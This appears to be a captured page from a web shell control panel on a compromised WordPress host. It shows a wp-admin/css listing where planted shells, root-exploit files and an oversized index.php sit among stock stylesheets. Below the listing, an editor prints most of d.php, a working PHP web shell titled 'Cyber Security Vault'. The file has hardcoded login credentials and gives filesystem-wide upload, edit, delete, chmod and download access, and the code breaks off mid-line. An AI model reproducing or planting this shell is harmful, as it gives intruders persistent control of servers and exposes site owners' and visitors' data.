Linux webm002.cluster107.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.107.20.2 | : 216.73.216.173
Cant Read [ /etc/named.conf ]
5.4.45
raphaelr
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
raphaelr /
www /
wp-admin /
css /
[ HOME SHELL ]
Name
Size
Permission
Action
ALFA_DATA
[ DIR ]
drwxr-xr-x
colors
[ DIR ]
drwxrwxrwx
.htaccess
356
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
34.php
23.86
KB
-rw-r--r--
MuPlugin.php
1.24
KB
-rw-r--r--
about-rtl.css
8.59
KB
-rw-r--r--
about-rtl.min.css
6.15
KB
-rw-r--r--
about.css
8.59
KB
-rw-r--r--
about.min.css
6.16
KB
-rw-r--r--
about.php
1.05
MB
-rw-r--r--
about.php7
1.05
MB
-rw-r--r--
admin-menu-rtl.css
19.23
KB
-rw-r--r--
admin-menu-rtl.min.css
15.68
KB
-rw-r--r--
admin-menu.css
19.21
KB
-rw-r--r--
admin-menu.min.css
15.66
KB
-rw-r--r--
adminer.php
0
B
-rw-r--r--
alfa-rex.PHP
1.05
MB
-rw-r--r--
alfa-rex.PhP7
1.05
MB
-rw-r--r--
alfa-rex.php56
1.05
MB
-rw-r--r--
alfa-rex.php8
1.05
MB
-rw-r--r--
as.php
3.61
KB
-rw-r--r--
color-picker-rtl.css
2.48
KB
-rw-r--r--
color-picker-rtl.min.css
2.14
KB
-rw-r--r--
color-picker.css
2.48
KB
-rw-r--r--
color-picker.min.css
2.14
KB
-rw-r--r--
comand.php
30.86
KB
-rw-r--r--
common-rtl.css
67.98
KB
-rw-r--r--
common-rtl.min.css
52.71
KB
-rw-r--r--
common.css
67.96
KB
-rw-r--r--
common.min.css
52.7
KB
-rw-r--r--
custom-functions-1783308477.ph...
30.46
KB
-rw-r--r--
custom_file_3_1786051390.php
30.46
KB
-rw-r--r--
customize-controls-rtl.css
44.15
KB
-rw-r--r--
customize-controls-rtl.min.css
37.3
KB
-rw-r--r--
customize-controls.css
44.13
KB
-rw-r--r--
customize-controls.min.css
37.28
KB
-rw-r--r--
customize-nav-menus-rtl.css
21.36
KB
-rw-r--r--
customize-nav-menus-rtl.min.cs...
17.39
KB
-rw-r--r--
customize-nav-menus.css
21.34
KB
-rw-r--r--
customize-nav-menus.min.css
17.38
KB
-rw-r--r--
customize-widgets-rtl.css
11.41
KB
-rw-r--r--
customize-widgets-rtl.min.css
9.31
KB
-rw-r--r--
customize-widgets.css
11.41
KB
-rw-r--r--
customize-widgets.min.css
9.3
KB
-rw-r--r--
d.php
35.08
KB
-rw-r--r--
dashboard-rtl.css
20.06
KB
-rw-r--r--
dashboard-rtl.min.css
16.11
KB
-rw-r--r--
dashboard.css
20.06
KB
-rw-r--r--
dashboard.min.css
16.11
KB
-rw-r--r--
database.php
159.32
KB
-rw-r--r--
ded.php
249.01
KB
-rw-r--r--
deprecated-media-rtl.css
6.36
KB
-rw-r--r--
deprecated-media-rtl.min.css
5.26
KB
-rw-r--r--
deprecated-media.css
6.35
KB
-rw-r--r--
deprecated-media.min.css
5.26
KB
-rw-r--r--
edit-rtl.css
27.91
KB
-rw-r--r--
edit-rtl.min.css
22.29
KB
-rw-r--r--
edit.css
27.9
KB
-rw-r--r--
edit.min.css
22.28
KB
-rw-r--r--
farbtastic-rtl.css
612
B
-rw-r--r--
farbtastic-rtl.min.css
503
B
-rw-r--r--
farbtastic.css
611
B
-rw-r--r--
farbtastic.min.css
502
B
-rw-r--r--
features.php
9.84
KB
-rw-r--r--
forms-rtl.css
25.1
KB
-rw-r--r--
forms-rtl.min.css
19.57
KB
-rw-r--r--
forms.css
25.09
KB
-rw-r--r--
forms.min.css
19.56
KB
-rw-r--r--
ie-rtl.css
11.73
KB
-rw-r--r--
ie-rtl.min.css
10.08
KB
-rw-r--r--
ie.css
11.72
KB
-rw-r--r--
ie.min.css
10.07
KB
-rw-r--r--
index.php
1.05
MB
-rw-r--r--
install-rtl.css
7.22
KB
-rw-r--r--
install-rtl.min.css
6.03
KB
-rw-r--r--
install.css
7.22
KB
-rw-r--r--
install.min.css
6.03
KB
-rw-r--r--
ioxi-o.php
966.6
KB
-rw-r--r--
kgblegacy.php
249.01
KB
-rw-r--r--
l10n-rtl.css
3.61
KB
-rw-r--r--
l10n-rtl.min.css
2.39
KB
-rw-r--r--
l10n.css
3.6
KB
-rw-r--r--
l10n.min.css
2.38
KB
-rw-r--r--
list-tables-rtl.css
39.44
KB
-rw-r--r--
list-tables-rtl.min.css
32.01
KB
-rw-r--r--
list-tables.css
39.42
KB
-rw-r--r--
list-tables.min.css
31.98
KB
-rw-r--r--
lock360.php
1.4
KB
-rw-r--r--
login-rtl.css
4.06
KB
-rw-r--r--
login-rtl.min.css
25.33
KB
-rw-r--r--
login.css
4.05
KB
-rw-r--r--
login.min.css
25.31
KB
-rw-r--r--
media-rtl.css
23.59
KB
-rw-r--r--
media-rtl.min.css
19.14
KB
-rw-r--r--
media.css
23.59
KB
-rw-r--r--
media.min.css
19.14
KB
-rw-r--r--
min.php
6.83
KB
-r--r--r--
nav-menus-rtl.css
15.49
KB
-rw-r--r--
nav-menus-rtl.min.css
12.31
KB
-rw-r--r--
nav-menus.css
15.46
KB
-rw-r--r--
nav-menus.min.css
12.28
KB
-rw-r--r--
php8.php
70.78
KB
-rw-r--r--
pk.php
6.83
KB
-r--r--r--
press-this-editor-rtl.css
1.34
KB
-rw-r--r--
press-this-editor-rtl.min.css
861
B
-rw-r--r--
press-this-editor.css
1.33
KB
-rw-r--r--
press-this-editor.min.css
860
B
-rw-r--r--
press-this-rtl.css
33.63
KB
-rw-r--r--
press-this-rtl.min.css
27.21
KB
-rw-r--r--
press-this.css
33.62
KB
-rw-r--r--
press-this.min.css
27.19
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
qasklobbv.php
143.87
KB
-rw-r--r--
revisions-rtl.css
10.34
KB
-rw-r--r--
revisions-rtl.min.css
8.56
KB
-rw-r--r--
revisions.css
10.32
KB
-rw-r--r--
revisions.min.css
8.54
KB
-rw-r--r--
site-icon-rtl.css
1.03
KB
-rw-r--r--
site-icon-rtl.min.css
738
B
-rw-r--r--
site-icon.css
1.03
KB
-rw-r--r--
site-icon.min.css
736
B
-rw-r--r--
smtp.php
38.23
KB
-rw-r--r--
themes-rtl.css
40.61
KB
-rw-r--r--
themes-rtl.min.css
32.24
KB
-rw-r--r--
themes.css
40.6
KB
-rw-r--r--
themes.min.css
32.22
KB
-rw-r--r--
widget-area-1783047057.php
30.46
KB
-rw-r--r--
widgets-rtl.css
10.67
KB
-rw-r--r--
widgets-rtl.min.css
8.71
KB
-rw-r--r--
widgets.css
10.68
KB
-rw-r--r--
widgets.min.css
8.72
KB
-rw-r--r--
wp-admin-rtl.css
421
B
-rw-r--r--
wp-admin-rtl.min.css
477
B
-rw-r--r--
wp-admin.css
365
B
-rw-r--r--
wp-admin.min.css
421
B
-rw-r--r--
wp-login.php
1.05
MB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : d.php
<?php session_start(); // --- Configuration --- $username = "admin"; $password = "cmd"; $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; // Standardize paths and resolve target directory smoothly if (isset($_GET['dir'])) { $resolved_path = realpath($_GET['dir']); $current_dir = $resolved_path ? str_replace('\\', '/', $resolved_path) : str_replace('\\', '/', realpath(__DIR__)); } else { $current_dir = str_replace('\\', '/', realpath(__DIR__)); } $current_dir = rtrim($current_dir, '/'); if (empty($current_dir)) { $current_dir = $is_windows ? substr(realpath(__DIR__), 0, 2) : '/'; } // Generate CSRF token for security if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } // --- Authentication --- if (!isset($_SESSION['authenticated'])) { if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] === $username && hash_equals($password, $_POST['password'])) { session_regenerate_id(true); $_SESSION['authenticated'] = true; header("Location: ?dir=" . urlencode($current_dir)); exit; } else { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Cyber Security Vault • Sign In</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0f172a; display: flex; justify-content: center; align-items: center; height: 100vh; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; color: #cbd5e1; } .login-box { background: #1e293b; border: 1px solid #334155; border-radius: 12px; padding: 35px; width: 400px; box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3); } .login-header { text-align: center; margin-bottom: 25px; border-bottom: 1px solid #334155; padding-bottom: 15px; } .login-header h2 { font-size: 1.4rem; color: #38bdf8; text-transform: uppercase; letter-spacing: 1.5px; font-weight: 600; } .input-field { margin-bottom: 20px; position: relative; } .input-field i { position: absolute; left: 14px; top: 14px; color: #64748b; } .input-field input { width: 100%; background: #0f172a; border: 1px solid #334155; border-radius: 8px; color: #f8fafc; padding: 12px 12px 12px 42px; font-size: 0.95rem; outline: none; transition: border-color 0.2s ease; } .input-field input:focus { border-color: #38bdf8; } .submit-btn { background: #0284c7; border: none; color: #ffffff; font-weight: 600; padding: 12px; border-radius: 8px; width: 100%; text-transform: uppercase; cursor: pointer; transition: all 0.2s ease; letter-spacing: 0.5px; } .submit-btn:hover { background: #0369a1; transform: translateY(-1px); } </style> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> </head> <body> <div class="login-box"> <div class="login-header"> <h2><i class="fas fa-shield-halved"></i> Security Vault</h2> </div> <form method="post"> <div class="input-field"> <i class="fas fa-user"></i> <input type="text" name="username" placeholder="Username" required autocomplete="off"> </div> <div class="input-field"> <i class="fas fa-lock"></i> <input type="password" name="password" placeholder="Password" required> </div> <button type="submit" class="submit-btn">Authorize Access</button> </form> </div> </body> </html> <?php exit; } } // Handle Logout if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; } // --- CSRF Verification Helper --- function verify_csrf() { $token = $_POST['csrf_token'] ?? $_GET['csrf_token'] ?? ''; if (empty($token) || !hash_equals($_SESSION['csrf_token'], $token)) { die("CSRF verification failed."); } } // --- Handle File Operations --- if (isset($_GET['action'])) { verify_csrf(); $target_path = realpath($_GET['file']); if ($target_path && file_exists($target_path)) { if ($_GET['action'] == 'delete') { if (is_dir($target_path)) { @rmdir($target_path); } else { @unlink($target_path); } } elseif ($_GET['action'] == 'download' && is_file($target_path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($target_path).'"'); header('Content-Length: ' . filesize($target_path)); readfile($target_path); exit; } elseif ($_GET['action'] == 'unzip' && is_file($target_path)) { $ext = strtolower(pathinfo($target_path, PATHINFO_EXTENSION)); if ($ext === 'zip' && class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($target_path) === TRUE) { $zip->extractTo(dirname($target_path)); $zip->close(); } } } elseif ($_GET['action'] == 'zip' && is_dir($target_path)) { if (class_exists('ZipArchive')) { $zip = new ZipArchive; $zip_file = $target_path . '.zip'; if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target_path), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($target_path) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); } } } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Create Folder if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) { verify_csrf(); $new_folder = $current_dir . '/' . basename($_POST['folder_name']); if (!file_exists($new_folder)) { @mkdir($new_folder, 0755); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Create Empty File if (isset($_POST['create_file']) && !empty($_POST['file_name'])) { verify_csrf(); $new_file = $current_dir . '/' . basename($_POST['file_name']); if (!file_exists($new_file)) { @touch($new_file); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Rename Item if (isset($_POST['rename_item']) && isset($_POST['file_path']) && !empty($_POST['new_name'])) { verify_csrf(); $target = realpath($_POST['file_path']); if ($target && file_exists($target)) { $new_name = basename($_POST['new_name']); $new_path = dirname($target) . '/' . $new_name; if (!file_exists($new_path)) { @rename($target, $new_path); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Permission Chmod Change if (isset($_POST['change_perms']) && isset($_POST['file_path'])) { verify_csrf(); $target = realpath($_POST['file_path']); if ($target && file_exists($target)) { $octal_mode = $_POST['perms_octal'] ?? ''; if (preg_match('/^[0-7]{3,4}$/', $octal_mode)) { @chmod($target, octdec($octal_mode)); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Save Edit if (isset($_POST['save_edit']) && isset($_POST['file_path'])) { verify_csrf(); $edit_target = realpath($_POST['file_path']); if ($edit_target && is_file($edit_target) && is_writable($edit_target)) { file_put_contents($edit_target, $_POST['content']); } header("Location: ?dir=" . urlencode(dirname($edit_target))); exit; } // File Upload if (isset($_FILES['upload_file'])) { verify_csrf(); if ($_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $file_name = basename($_FILES['upload_file']['name']); $upload_path = $current_dir . '/' . $file_name; move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_path); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // --- Helper Functions --- function format_size($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function get_file_icon($path) { if (is_dir($path)) return 'fa-folder'; $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $icons = [ 'jpg' => 'fa-image', 'jpeg' => 'fa-image', 'png' => 'fa-image', 'gif' => 'fa-image', 'pdf' => 'fa-file-pdf', 'zip' => 'fa-file-zipper', 'rar' => 'fa-file-zipper', 'mp4' => 'fa-video', 'mp3' => 'fa-music', 'doc' => 'fa-file-word', 'docx' => 'fa-file-word', 'php' => 'fa-code', 'html' => 'fa-code', 'css' => 'fa-code', 'js' => 'fa-code', ]; return $icons[$ext] ?? 'fa-file'; } function get_permissions_octal($path) { $perms = @fileperms($path); if ($perms === false) return '0000'; return substr(sprintf('%o', $perms), -4); } // System Metadata Fetching Engines $php_version = PHP_VERSION; $server_software = isset($_SERVER['SERVER_SOFTWARE']) ? explode('/', explode(' ', $_SERVER['SERVER_SOFTWARE'])[0])[0] : 'Web Server'; $free_disk = @disk_free_space($current_dir) ?: 0; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Cyber Security Vault</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0f172a; color: #cbd5e1; font-family: 'Segoe UI', system-ui, -apple-system, sans-serif; font-size: 0.95rem; min-height: 100vh; } .container { max-width: 1350px; margin: 0 auto; padding: 2rem; } /* Modern Clean Header */ .vault-header { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #1e293b; padding-bottom: 1.5rem; margin-bottom: 2rem; } .vault-title { font-size: 1.8rem; font-weight: 700; color: #38bdf8; text-transform: uppercase; letter-spacing: 1.5px; display: flex; align-items: center; gap: 0.8rem; text-shadow: 0 0 15px rgba(56, 189, 248, 0.3); } .vault-title i { color: #0ea5e9; } /* Redesigned Dashboard Bar */ .topbar { background: #1e293b; border: 1px solid #334155; padding: 1rem 1.5rem; display: flex; justify-content: space-between; align-items: center; border-radius: 10px; margin-bottom: 1.5rem; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .path-section { display: flex; align-items: center; gap: 0.8rem; overflow: hidden; } .path-label { font-size: 0.8rem; text-transform: uppercase; color: #64748b; font-weight: 700; white-space: nowrap; } .path-breadcrumb { display: flex; flex-wrap: wrap; align-items: center; font-family: 'Consolas', monospace; font-size: 1rem; color: #38bdf8; } .path-breadcrumb a { color: #38bdf8; text-decoration: none; font-weight: 500; padding: 2px 6px; border-radius: 4px; transition: all 0.2s ease; } .path-breadcrumb a:hover { background: #0f172a; color: #7dd3fc; } /* System Metadata Statistics */ .system-meta-panel { display: flex; align-items: center; gap: 1rem; flex-shrink: 0; } .meta-badge { background: #0f172a; border: 1px solid #334155; padding: 0.4rem 0.8rem; border-radius: 6px; font-family: 'Consolas', monospace; font-size: 0.85rem; color: #94a3b8; display: inline-flex; align-items: center; gap: 0.5rem; } .meta-badge i { color: #0ea5e9; } /* Toolbar Actions */ .action-grid { display: flex; gap: 1rem; flex-wrap: wrap; margin-bottom: 1.5rem; align-items: center; } .search-container { flex: 1; min-width: 250px; position: relative; } .search-container input { width: 100%; background: #1e293b; border: 1px solid #334155; color: #f8fafc; padding: 0.75rem 1rem 0.75rem 2.5rem; border-radius: 8px; outline: none; font-size: 0.9rem; transition: all 0.2s ease; } .search-container input:focus { border-color: #38bdf8; box-shadow: 0 0 0 2px rgba(56, 189, 248, 0.2); } .search-container i { position: absolute; left: 1rem; top: 0.95rem; color: #64748b; } /* Modern Buttons */ .btn { background: #1e293b; border: 1px solid #334155; color: #cbd5e1; padding: 0.75rem 1.25rem; border-radius: 8px; cursor: pointer; text-decoration: none; display: inline-flex; align-items: center; gap: 0.5rem; font-size: 0.9rem; font-weight: 500; transition: all 0.2s ease; } .btn:hover { background: #334155; color: #f8fafc; border-color: #475569; } .btn-success { background: #059669; border: none; color: #ffffff; } .btn-success:hover { background: #047857; } .btn-danger { background: rgba(225, 29, 72, 0.15); border: 1px solid rgba(225, 29, 72, 0.3); color: #fb7185; } .btn-danger:hover { background: #e11d48; color: #ffffff; border-color: #e11d48; } .btn-icon { padding: 0.6rem 0.75rem; border-radius: 6px; } /* Perms dynamic button colors */ .btn-perm-writable { color: #34d399; background: rgba(16, 185, 129, 0.1); border-color: rgba(16, 185, 129, 0.25); } .btn-perm-writable:hover { background: rgba(16, 185, 129, 0.2); color: #10b981; border-color: rgba(16, 185, 129, 0.4); } .btn-perm-locked { color: #fb7185; background: rgba(225, 29, 72, 0.1); border-color: rgba(225, 29, 72, 0.25); } .btn-perm-locked:hover { background: rgba(225, 29, 72, 0.2); color: #e11d48; border-color: rgba(225, 29, 72, 0.4); } .inline-form { display: flex; gap: 0.5rem; } .inline-form input { background: #1e293b; border: 1px solid #334155; color: white; padding: 0.6rem 0.8rem; border-radius: 8px; font-size: 0.9rem; outline: none; transition: border-color 0.2s ease; } .inline-form input:focus { border-color: #38bdf8; } /* Elegant Table Design */ table { width: 100%; border-collapse: separate; border-spacing: 0; text-align: left; background: #1e293b; border-radius: 10px; overflow: hidden; border: 1px solid #334155; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05); } th { background: #0f172a; padding: 1.2rem; font-weight: 600; color: #94a3b8; border-bottom: 1px solid #334155; font-size: 0.85rem; text-transform: uppercase; letter-spacing: 0.5px; } td { padding: 1rem 1.2rem; border-bottom: 1px solid #334155; vertical-align: middle; transition: background 0.2s ease; } tr:last-child td { border-bottom: none; } .file-row:hover td { background: #2dd4bf0a; } .status-writable td:first-child { border-left: 4px solid #10b981; } .status-readonly td:first-child { border-left: 4px solid #ef4444; } .row-readonly-text { color: #fca5a5 !important; } .row-writable-text { color: #f1f5f9; font-weight: 500; } /* Interactive Link wraps */ .directory-link { text-decoration: none; color: inherit; display: flex; align-items: center; width: 100%; } .directory-link:hover .row-writable-text { color: #38bdf8; } .file-icon { font-size: 1.2rem; margin-right: 0.8rem; flex-shrink: 0; } .folder-icon { color: #facc15; } .generic-file-icon { color: #38bdf8; } /* Code Editor Style */ .editor-container { background: #1e293b; border: 1px solid #334155; border-radius: 10px; padding: 1.5rem; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .code-textarea { width: 100%; background: #0f172a; border: 1px solid #334155; border-radius: 8px; padding: 1.2rem; color: #a7f3d0; font-family: 'Consolas', monospace; font-size: 0.95rem; line-height: 1.5; margin-bottom: 1rem; resize: vertical; outline: none; } .code-textarea:focus { border-color: #38bdf8; } .modal-action { display: none; margin-top: 0.8rem; background: #0f172a; padding: 0.8rem; border-radius: 8px; border: 1px solid #334155; } .modal-action:target { display: block; animation: fadeIn 0.3s ease; } @keyframes fadeIn { from { opacity: 0; transform: translateY(-5px); } to { opacity: 1; transform: translateY(0); } } </style> </head> <body> <div class="container"> <div class="vault-header"> <div class="vault-title"> <i class="fas fa-shield-halved"></i> Cyber Security Vault </div> <div class="vault-logout"> <a href="?logout=1" class="btn btn-danger"><i class="fas fa-sign-out-alt"></i> Logout</a> </div> </div> <div class="topbar"> <div class="path-section"> <span class="path-label"><i class="fas fa-folder-open"></i> Directory:</span> <div class="path-breadcrumb"> <?php $clean_path = str_replace('\\', '/', $current_dir); $parts = explode('/', $clean_path); $path_links = []; $running_path = ''; if ($is_windows) { foreach ($parts as $index => $part) { if ($index === 0) { $running_path = $part; $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>'; } elseif ($part !== '') { $running_path .= '/' . $part; $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>'; } } echo implode(' <span style="color: #475569;">/</span> ', $path_links); } else { echo '<a href="?dir=' . urlencode('/') . '">/</a>'; foreach ($parts as $part) { if ($part !== '') { $running_path .= '/' . $part; $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>'; } } echo implode(' <span style="color: #475569;">/</span> ', $path_links); } if (isset($_GET['edit'])) { echo ' <span style="color: #475569;">/</span> <span style="color: #f1f5f9; font-weight: 600;">' . htmlspecialchars(basename($_GET['edit']), ENT_QUOTES, 'UTF-8') . '</span>'; } ?> </div> </div> <div class="system-meta-panel"> <div class="meta-badge"><i class="fab fa-php"></i> PHP: <?php echo $php_version; ?></div> <div class="meta-badge"><i class="fas fa-server"></i> <?php echo htmlspecialchars($server_software); ?></div> <div class="meta-badge"><i class="fas fa-hdd"></i> Free: <?php echo format_size($free_disk); ?></div> </div> </div> <?php if(isset($_GET['edit'])): $edit_file = $_GET['edit']; if (file_exists($edit_file) && is_file($edit_file)): $writable = is_writable($edit_file); ?> <div class="editor-container"> <h3 style="margin-bottom: 1rem; font-weight: 600; color: #f8fafc;"><i class="fas fa-code" style="color: #38bdf8; margin-right: 8px;"></i> Edit File: <?php echo htmlspecialchars(basename($edit_file), ENT_QUOTES, 'UTF-8'); ?></h3> <form method="post"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <textarea name="content" class="code-textarea" rows="25" spellcheck="false" <?php echo !$writable ? 'disabled' : ''; ?>><?php echo htmlspecialchars(file_get_contents($edit_file), ENT_QUOTES, 'UTF-8'); ?></textarea> <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file, ENT_QUOTES, 'UTF-8'); ?>"> <div style="display: flex; gap: 1rem;"> <?php if($writable): ?> <button type="submit" name="save_edit" class="btn btn-success"><i class="fas fa-save"></i> Save Changes</button> <?php else: ?> <button type="button" class="btn" disabled><i class="fas fa-lock"></i> Read-Only Mode</button> <?php endif; ?> <a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($edit_file)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-arrow-left"></i> Go Back</a> </div> </form> </div> <?php else: header("Location: ?dir=".urlencode($current_dir)); exit; endif; ?> <?php else: ?> <div class="action-grid"> <div class="search-container"> <i class="fas fa-search"></i> <input type="text" id="searchInput" placeholder="Search files or folders..."> </div> <form method="post" class="inline-form"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="folder_name" placeholder="New folder name..." required> <button type="submit" name="create_folder" class="btn btn-success" title="Create Folder"><i class="fas fa-folder-plus"></i></button> </form> <form method="post" class="inline-form"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="file_name" placeholder="New file name..." required> <button type="submit" name="create_file" class="btn btn-success" title="Create File"><i class="fas fa-file-circle-plus"></i></button> </form> <a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($current_dir)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-level-up-alt"></i> Up</a> <button class="btn btn-success" onclick="document.getElementById('fileUpload').click()"><i class="fas fa-cloud-arrow-up"></i> Upload</button> </div> <form method="post" enctype="multipart/form-data" id="uploadForm" style="display:none;" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="file" name="upload_file" id="fileUpload" onchange="document.getElementById('uploadForm').submit();"> </form> <table> <thead> <tr> <th>Name</th> <th>Permissions</th> <th>Size</th> <th>Last Modified</th> <th style="text-align: right;">Actions</th> </tr> </thead> <tbody id="file-tbody"> <?php $items = @scandir($current_dir); if($items === false) $items = []; $folders = []; $files = []; // Segregate Folders and Files for structural prioritization foreach($items as $item) { if($item == '.') continue; if($item == '..' && $current_dir === dirname($current_dir)) continue; $path = $current_dir . '/' . $item; if(is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } // Merge to ensure folders remain on top and files stay below $ordered_items = array_merge($folders, $files); foreach($ordered_items as $item): $path = $current_dir . '/' . $item; $is_dir = is_dir($path); $writable = is_writable($path); $status_class = $writable ? 'status-writable' : 'status-readonly'; $text_class = $writable ? 'row-writable-text' : 'row-readonly-text'; $icon_class = $is_dir ? 'fa-solid fa-folder folder-icon' : get_file_icon($path) . ' generic-file-icon'; $perm_btn_class = $writable ? 'btn-perm-writable' : 'btn-perm-locked'; ?> <tr class="file-row <?php echo $status_class; ?>" data-name="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>"> <td> <div style="display: flex; align-items: center;"> <?php if($is_dir): ?> <a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="directory-link"> <i class="<?php echo $icon_class; ?> file-icon"></i> <span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span> </a> <?php else: ?> <i class="<?php echo $icon_class; ?> file-icon"></i> <span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span> <?php endif; ?> </div> <div id="rename-<?php echo md5($item); ?>" class="modal-action"> <form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="new_name" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>" required> <button type="submit" name="rename_item" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button> <a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a> </form> </div> <div id="perms-<?php echo md5($item); ?>" class="modal-action"> <form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="perms_octal" placeholder="0755" style="width: 100px;" required> <button type="submit" name="change_perms" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button> <a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a> </form> </div> </td> <td> <code style="color: #94a3b8; font-family: 'Consolas', monospace; font-size: 0.95rem; font-weight: 500; letter-spacing: 1px;"><?php echo get_permissions_octal($path); ?></code> </td> <td style="color: #e2e8f0;"><?php echo $is_dir ? '—' : format_size(@filesize($path)); ?></td> <td><span style="color: #94a3b8;"><?php echo date("M d, Y H:i", @filemtime($path)); ?></span></td> <td style="text-align: right;"> <div style="display: flex; gap: 0.4rem; justify-content: flex-end;"> <?php if($is_dir): ?> <a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Open Folder"><i class="fas fa-folder-open"></i></a> <a href="?action=zip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Compress to ZIP"><i class="fas fa-file-zipper"></i></a> <?php else: ?> <a href="?edit=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn 